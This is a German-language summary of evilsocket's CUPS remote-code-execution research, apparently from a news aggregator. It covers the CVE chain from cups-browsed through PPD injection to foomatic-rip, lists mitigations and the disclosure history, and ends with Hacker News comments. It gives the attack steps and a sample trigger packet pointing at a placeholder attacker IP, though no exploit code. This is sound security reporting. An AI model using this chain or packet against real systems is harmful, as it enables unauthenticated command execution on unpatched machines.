Angriffe auf UNIX-Systeme über CUPS
(evilsocket.net)- Wenn der automatische Drucker-Erkennungspfad von CUPS mit fehlender Validierung von IPP-Attributen zusammenkommt, kann ein entfernter, nicht authentifizierter Angreifer bösartige Druckerkonfigurationen einschleusen und beim Drucken sogar die Ausführung beliebiger Befehle auslösen
- Ausgangspunkt des Angriffs ist das Verhalten von
cups-browsed, auf UDP-Port 631 Pakete aus beliebigen Quellen anzunehmen und daraufhin eineGet-Printer-Attributes-IPP-Anfrage an eine vom Angreifer kontrollierte URL zu senden - Die Schwachstellen teilen sich in CVE-2024-47176, CVE-2024-47076, CVE-2024-47175 und CVE-2024-47177 auf und reichen von der PPD-Erzeugung in
libcupsfilters,libppdundcups-filtersbis zum Ausführungspfad vonfoomatic-rip - Betroffen sind die meisten GNU/Linux-Distributionen, einige BSD-Systeme, möglicherweise auch Oracle Solaris sowie Chromium/ChromeOS; bei öffentlichen IPv4-Scans wurden Callbacks von Hunderttausenden Geräten und bis zu 200.000 bis 300.000 gleichzeitige Clients beobachtet
- Praktisch sollten nicht benötigte
cups-browsed-Instanzen deaktiviert oder entfernt und CUPS-Pakete aktualisiert werden; falls Updates schwierig sind, sollte das Blockieren von UDP 631 und bei Bedarf auch von DNS-SD-Traffic geprüft werden
Kernelemente der Schwachstellenkette
- Diese Kette beginnt bei der automatischen Drucker-Erkennung von CUPS und führt über die Verarbeitung von IPP-Attributen und die Erzeugung von PPD-Dateien bis zur Ausführung von Filtern
- Die zentralen Schwachstellen greifen in vier Stufen ineinander
- CVE-2024-47176:
cups-browsedbis einschließlich 2.0.1 bindet anUDP INADDR_ANY:631und vertraut Paketen aus beliebigen Quellen, wodurchGet-Printer-Attributes-IPP-Anfragen an vom Angreifer kontrollierte URLs ausgelöst werden - CVE-2024-47076:
cfGetPrinterAttributes5inlibcupsfiltersbis einschließlich 2.1b1 validiert oder bereinigt vom IPP-Server empfangene Attribute nicht und gibt sie an das CUPS-System weiter - CVE-2024-47175:
ppdCreatePPDFromIPP2inlibppdbis einschließlich 2.1b1 schreibt IPP-Attribute ohne Validierung oder Bereinigung in temporäre PPD-Dateien und erlaubt so das Einfügen angreiferkontrollierter Daten - CVE-2024-47177:
foomatic-ripincups-filtersbis einschließlich 2.0.1 erlaubt über den PPD-ParameterFoomaticRIPCommandLinedie Ausführung beliebiger Befehle
- CVE-2024-47176:
Angriffseinstieg und Auswirkungsbereich
- Ein entfernter, nicht authentifizierter Angreifer kann die IPP-URL eines bestehenden Druckers unauffällig auf eine bösartige URL umstellen oder die Installation eines neuen Druckers bewirken
- Die eigentliche Befehlsausführung findet auf dem betroffenen Computer beim Start eines Druckauftrags statt
- Es gibt zwei Einstiegspunkte
- WAN / öffentliches Internet: Ein entfernter Angreifer sendet Pakete an
UDP 631; eine Authentifizierung ist nicht erforderlich - LAN: Ein lokaler Angreifer kann zeroconf-, mDNS- oder DNS-SD-Ankündigungen fälschen und über denselben Codepfad RCE erreichen
- WAN / öffentliches Internet: Ein entfernter Angreifer sendet Pakete an
- CUPS und
cups-browsedsind auf mehreren UNIX-artigen Systemen paketiert- die meisten GNU/Linux-Distributionen
- einige BSD-Systeme
- möglicherweise Google Chromium / ChromeOS
- Oracle Solaris
- Bei mehrwöchigen Scans des gesamten öffentlichen IPv4-Adressraums mehrmals täglich meldeten sich nach dem Senden von UDP-Paketen Hunderttausende Geräte zurück; beobachtet wurden Spitzen von 200.000 bis 300.000 gleichzeitigen Clients
Der von cups-browsed offengehaltene Pfad
- Auf einem Ubuntu-Laptop wurde bei
netstat -anuein lauschender UDP-Port auf0.0.0.0:631entdeckt - Eine Prüfung mit
lsof -i :631zeigte, dass TCP 631 voncupsdund UDP 631 voncups-browsedverwendet wurde - In
ps auxwar zu sehen, dass der Prozesscups-browsedals root lief cups-browsedist Teil des CUPS-Systems und dient dazu, neue Drucker zu erkennen und automatisch zum System hinzuzufügen- Ein Blick in den Quellcode zeigte, dass der Dienst an
INADDR_ANY:631 UDPgebunden war und UDP-Pakete im FormatHEX_NUMBER HEX_NUMBER TEXT_DATAerwartete - Wenn die Standardkonfigurationsdatei weitgehend auskommentiert ist, werden Zugriffsbeschränkungen praktisch schwach
Parsing-Probleme und weitere Bugs
- Das CUPS-Paket selbst ist in oss-fuzz enthalten, für
cups-browsedscheint es jedoch keine Fuzzing-Abdeckung zu geben - Nachdem ein AFL-basiertes Fuzzing-Ziel rund um
process_browse_datagebaut wurde, lösten fünf Eingaben einen stack-buffer-overflow aus - Als Ursache wurde ein Ablauf genannt, bei dem in zwei Schleifen Zeiger dereferenziert werden, bevor die Abbruchbedingung geprüft wird
- Danach wurden an Stellen der Sperrbehandlung außerdem eine race condition und eine mögliche DoS-Schwachstelle entdeckt
- Diese Probleme wurden Entwicklern und CERT gemeldet, waren nach Angaben des Forschers jedoch weder anerkannt noch gepatcht
IPP-Anfragen und PPD-Injektion
found_cups_printerbehandelt eines der aus dem UDP-Paket geparsten Textfelder als URL- Diese URL und zugehörige Daten laufen über
examine_discovered_printer_recordundcreate_remote_printer_entryweiter bis zu einem Aufruf voncfGetPrinterAttributesauslibcupsfilters - Sendet ein Angreifer ein Paket im Format
0 3 http://<ATTACKER-IP>:<PORT>/printers/whatever, verbindet sich das Ziel-cups-browsedmit der vom Angreifer kontrollierten URL - Beim Verbindungsaufbau enthielt der User-Agent-Header Kernel-Version und Architektur; in einigen Anfragen wurde auch der Benutzername des Zielsystems gemeldet
- Das Internet Printing Protocol ist ein Kommunikationsprotokoll zwischen Clients und Druckern oder Druckservern und wird etwa für Statusabfragen und das Einreichen von Druckaufträgen verwendet
- Das Zielsystem erkennt den Angreifer-Server als Drucker und sendet eine in HTTP gekapselte
Get-Printer-Attributes-Anfrage - Wurde mit dem ippserver python package auf kontrollierbare Attribute geantwortet, wurde der gefälschte Drucker ohne Benutzerbenachrichtigung als lokaler Drucker hinzugefügt
Ausführungspfad über PPD und foomatic-rip
- In Debug-Logs waren die Erstellung der Druckerwarteschlange, die Erzeugung einer temporären PPD-Datei sowie deren Nutzung und Bearbeitung zu sehen
- Die Funktion
create_queueübergibt IPP-Attribute an die APIppdCreatePPDFromIPP2auslibppd ppdCreatePPDFromIPP2schreibt vom Angreifer kontrollierte Textattribute wieprinter-make-and-modelohne Validierung oder Escaping in die PPD-Datei- Eine Datei vom Typ PostScript Printer Description ist eine Textdatei, die Druckerfunktionen und -fähigkeiten beschreibt und in CUPS festlegt, welche Funktionen ein Drucker hat und wie er verwendet wird
- Unter mehreren Direktiven innerhalb von PPD ist
cupsFilter2eine CUPS-Erweiterung, die bei Druckaufträgen ausführbare Dateien unter/usr/lib/cups/filterals Filter starten kann foomatic-ripwird als Filter behandelt, der über die DirektiveFoomaticRIPCommandLinein der PPD Befehle ausführen kann- In der Vergangenheit gab es in
foomatic-filtersKorrekturen zu CVE-2011-2964 und CVE-2011-2697, doch diese Änderungen wurden laut Analyse bei der Integration in CUPS nicht portiert - Auch in der neueren CVE-2024-35235 wird eine Ausführung beliebiger Befehle über
FoomaticRIPCommandLineerwähnt - Nach Darstellung der CUPS-Entwickler ist es sehr schwierig, ohne Bruch bestehender Treiber einzuschränken, was an
FoomaticRIPCommandLineübergeben werden kann; möglicherweise sind Hunderte älterer Druckermodelle aus der Zeit vor 2010 ausschließlich auf Foomatic angewiesen
Ablauf zur Reproduktion von RCE
- Die RCE-Kette besteht aus drei Schritten
- Das Zielsystem wird dazu gebracht, sich mit dem bösartigen IPP-Server des Angreifers zu verbinden
- Es werden angreiferkontrollierte IPP-Attribut-Strings zurückgegeben, um Direktiven in eine temporäre PPD-Datei einzuschleusen
- Wird ein Druckauftrag an den gefälschten Drucker gesendet, werden die PPD-Direktiven und Befehle ausgeführt
- In der IPP-Server-Konfiguration wurde die Befehlsausführung dadurch aufgebaut, dass ein PPD-String geschlossen, eine neue Zeile eingefügt und anschließend die Direktiven
FoomaticRIPCommandLineundcupsFilter2eingefügt wurden - Das Demo-Ziel war ein vollständig gepatchtes
Ubuntu 24.04.1 LTSmitcups-browsed 2.0.1; auf der Angreifer-Maschine wurde die Befehlsausführung erreicht - Dieser Ablauf funktioniert nur, wenn mehrere Verarbeitungsschritte in
cups-browsed,libcupsfilters,libppdundcups-filterszusammenwirken
Gegenmaßnahmen und Empfehlungen
- Wenn
cups-browsednicht benötigt wird, wird empfohlen, den Dienst zu deaktivieren und zu entfernen - Die CUPS-Pakete des Systems sollten aktualisiert werden
- Wenn keine Updates möglich sind und der Dienst benötigt wird, sollte
UDP 631blockiert werden - Je nach Umgebung kann auch DNS-SD-Traffic blockiert werden, was sich in zeroconf-Umgebungen jedoch schwer umsetzen lässt
- Der Forscher erklärte als persönliche Empfehlung, CUPS-Dienste, Binärdateien und Bibliotheken von seinen Systemen zu entfernen und nicht auf UNIX-Systeme zu drucken
- Er fügte hinzu, auch zeroconf-, Avahi- und Bonjour-Listener zu entfernen
Offenlegung und Nacharbeiten
- Die eigentliche Forschung dauerte nur wenige Tage, doch von der Einreichung eines Security Advisorys am 5. September im OpenPrinting-
cups-browsed-Repository bis zur Veröffentlichung vergingen 22 Tage - Die zugehörigen Diskussionen führten zu Security Advisorys für
cups-browsed,libcupsfilters,libppdundcups-filters - Die Forschung nahm zwei Tage in Anspruch, der funktionierende Exploit 249 Zeilen, und im Offenlegungsprozess fielen Diskussionen, E-Mails, Nachrichten und mehr als 100 Seiten Text an
- Zur Kontroverse um den CVSS-Wert 9.9 hieß es, der anfängliche Wert 9.9 stamme aus einem VINCE-Bericht, sei von einem RedHat-Ingenieur geschätzt und von einem weiteren Ingenieur geprüft worden
- Der Forscher meint, die anfänglichen 9.9 seien wohl wegen der leichten Ausnutzbarkeit von RCE und der weiten Verbreitung der Pakete vergeben worden, ergänzt aber, dass er die Auswirkungen selbst nicht mit 9.9 einstufen würde
- Er erklärte außerdem, dass der exakte Markdown-Bericht und der Exploit, die nur mit CERT VINCE geteilt worden waren, durchgesickert seien
- Das anfängliche
exploit.pyversandte nur UDP-Pakete und startete einen bösartigen IPP-Server, wurde später aber um zeroconf-Ankündigungen ergänzt und damit stärker toolisiert - Anschließend wurde es in Go neu geschrieben und in bettercap integriert, ergänzt um die Fähigkeit, im LAN über zeroconf, Bonjour und Avahi angekündigte Dienste transparent nachzuahmen sowie um IPP-bezogene Verarbeitung
- Im nächsten Artikel soll es um Angriffe auf Apple macOS mit einem noch nicht veröffentlichten bettercap-Modul gehen; der Zeitplan ist wegen anderer Offenlegungsverfahren noch unklar
1 Kommentare
Meinungen auf Hacker News
Ich dachte erst, das sei ein Witz. Es geht darum, dass „ein entfernter, nicht authentifizierter Angreifer die IPP-URL eines vorhandenen Druckers durch eine bösartige URL ersetzen oder einen neuen installieren kann, sodass beim Starten eines Druckauftrags auf diesem Computer beliebige Befehle ausgeführt werden können“. Heartbleed lag bei 7.5, und das hier wirkt nicht so, als könne es 9.9 sein.
Der ursprüngliche Tweet sprach von „nicht authentifizierter Remote Code Execution auf allen GNU/Linux-Systemen usw.“, tatsächlich ist CUPS in vielen Distributionen aber entweder nur an Loopback gebunden oder gar nicht installiert.
Außerdem heißt es, man habe über mehrere Wochen hinweg den gesamten öffentlichen IPv4-Adressraum mehrmals täglich gescannt und Callbacks von Hunderttausenden Geräten erhalten. Wenn ich das richtig verstehe, bedeutet das, dass es im gesamten öffentlichen IPv4-Raum etwa 300.000 offene CUPS-Instanzen gab; damit Remote Code Execution passiert, müsste der jeweilige CUPS-Server dann auch einen Druckauftrag erhalten, was bei den meisten wohl nicht der Fall sein dürfte.
cups-browsed-Daemon selbst verschwinden sollte und das Linux-Ökosystem ernsthaft über die Zukunft von CUPS diskutieren muss.Die Bugs wirken erstaunlich simpel, und am Ende ist es ein ziemlich ernstes Sicherheitsproblem, aber nicht das Niveau an Upstream-Reaktion, das man bei einem standardmäßig installierten Desktop-Linux-Paket erwarten würde.
Trotzdem ist es ganz sicher keine weltbewegende CVSS-9.9-Panik.
Genauer gesagt wird die Ausführung verzögert: Sie passiert, wenn der Benutzer das nächste Mal mit den vom Angreifer geänderten Druckereinstellungen auf seinem Drucker druckt; die Schwachstelle liegt nicht in cupsd, sondern in cupsd-browser.
Mit der Haltung des Autors kann es Probleme geben, aber diese Schwachstelle selbst ist wirklich eine große Sache.
Wer CUPS ins Internet exponiert, ist auf einem Niveau der Sorglosigkeit, das kein CVE mehr erreichen kann.
Natürlich muss der Benutzer zum Triggern etwas drucken, und persönlich glaube ich nicht, dass ich unter Linux je etwas gedruckt habe, aber die Behauptung, Callbacks von Hunderttausenden Linux-Maschinen erhalten zu haben, klingt plausibel.
Zumindest sollte ein Linux-Laptop in einem Flughafen-WLAN nicht gegenüber allen anderen Geräten stark verwundbar werden.
Je nachdem, wie man den Scope-Indikator von CVSSv3 interpretiert, scheint es genauer 8.8 oder 9.6 zu sein.
Kurz gesagt: Bei einigen Desktop-Linux-Varianten ist CUPS im LAN auf 0.0.0.0 erreichbar, läuft als root und ist für nicht authentifizierte Remote Code Execution anfällig. Auf den meisten serverorientierten Linux-Distributionen wie Ubuntu Server oder CentOS ist es kein Standarddienst, aber bei den meisten Desktop-Linux-Varianten scheint es standardmäßig gestartet zu werden.
Um die Remote Code Execution auszulösen, muss der Benutzer der verwundbaren Linux-Maschine nach der Ausnutzung ein Dokument drucken.
evilsocket sagte, er habe Hunderttausende Callbacks erhalten, und selbst wenn die meisten von uns unter Linux kaum drucken, könnte eine Auswirkung dieser Größenordnung ausreichen, um ein großes Botnet aufzubauen.
Ich hatte cupsd im Internet offen und geriet bei der Nachricht etwas in Panik, aber wie schon der Titel hier ist auch dieses Thema teilweise falsch dargestellt. Das Problem liegt nicht im zentralen cupsd, sondern in cups-browsed, einem separaten Paket bzw. einer separaten Komponente.
Gentoo Linux, das ich für Server nutze, stellt cups-browsed als separates Paket bereit, und da ich es nicht installiert habe, bin ich nicht betroffen. Auch die meisten CUPS-Nutzer, die dieses Zusatzpaket nicht installiert haben, sind von diesem Bug nicht betroffen.
Zu sagen, alle Systeme mit CUPS könnten gehackt werden, stellt den Umfang falsch dar.
Zu Hause habe ich den Dienst einfach deaktiviert, aber es ist ziemlich nervig, dass immer mehr Software ausufert und Komponenten, die optional sein sollten, praktisch verpflichtend macht.
Ein ähnliches Beispiel ist avahi-daemon. Wenn man versucht, ihn auf Desktop-Debian/Ubuntu zu entfernen, wird wahrscheinlich auch andere Software mit entfernt, bei der man sich fragt, warum avahi eine harte Abhängigkeit sein muss.
Der Punkt, dass „von Forschern zu viel erwartet und als selbstverständlich angesehen wird, weil Triager so auftreten, als müssten Sicherheitsforscher wie du erst beweisen, dass sie es wert sind, gehört zu werden“, ist nachvollziehbar, aber es gibt leider auch eine unschöne Realität.
Auf jeden gut recherchierten Bericht dieser Art kommen 57 minderwertige Spam-Reports, mit denen jemand eine Bug-Bounty-Prämie herausschlagen oder eine CVE-Entdeckung in den Lebenslauf schreiben will. Gerade seit LLMs verbreiteter sind, lässt sich solcher Spam leicht überzeugend wirken lassen.
Eine traurige Situation, aber man kann Entwicklern ihre Skepsis nicht vollständig vorwerfen.
0: https://daniel.haxx.se/blog/2024/01/02/the-i-in-llm-stands-f...
Kurz gesagt: cups-browsed lauscht auf UDP-Port 631 und kann ohne Bestätigung durch den Nutzer automatisch Drucker installieren.
Ein Angreifer nutzt dieses „Feature“, um ohne Nutzerbestätigung einen gefälschten Drucker zu installieren, der mit einem von einem beliebigen Host herunterladbaren Custom-Treiber versehen ist, und legt einen Befehl fest, der ausgeführt werden soll, wenn ein Druckauftrag gesendet wird.
Wenn der Nutzer etwas auf diesem gefälschten Drucker druckt, wird dieser Befehl ausgeführt.
In diesem Fall scheinen die Distributionen cups-browsed als Feature mitzuliefern, aber ich fand es schon immer schlecht, dass Ubuntu/Debian und vermutlich alle deb-basierten Distributionen bei der Installation fast alle Dienste automatisch starten.
Das bedeutet, dass man nur ein Paket installiert und dadurch versehentlich ein anderer Netzwerkdienst, der als Abhängigkeit installiert wurde, offen sein kann.
exim4 ist ein bekanntes Beispiel, wobei fairerweise die Voreinstellung nur auf localhost lauscht, also vielleicht kein großes Problem ist. Ich habe gerade cups-browsed auf einer Debian-Maschine installiert, und es wurden zwei Dienste gestartet, die auf 0.0.0.0 lauschen (cups-browsed und avahi).
Bei Arch/Gentoo und Distributionen aus der CentOS-Familie ist das nicht so.
Der ursprüngliche CVSS-Score auf Twitter gab an, dass keine Nutzerinteraktion erforderlich sei. Wenn man aber die Remote-Code-Execution-Kette auf der Seite liest, heißt es dort: „Warten, bis ein Druckauftrag an den gefälschten Drucker gesendet wird, damit die PPD-Direktive und der daraus resultierende Befehl ausgeführt werden.“
Wenn Alice nicht auf Drucken klickt, scheint kein Druckauftrag ausgelöst zu werden; ich frage mich also, was ich übersehe. Es geht mir weniger darum, evilsocket zu misstrauen, als darum, mein Verständnis zu prüfen.
Jedes Mal, wenn ich unter MacOS etwas drucken muss, fällt mir wieder ein, wie sehr ich Drucker und druckerbezogene Software hasse. Ich arbeite seit 40 Jahren mit Computern, und wirklich in jedem Jahrzehnt sind Drucker noch lästiger geworden.
pdf2ps - | nc 9001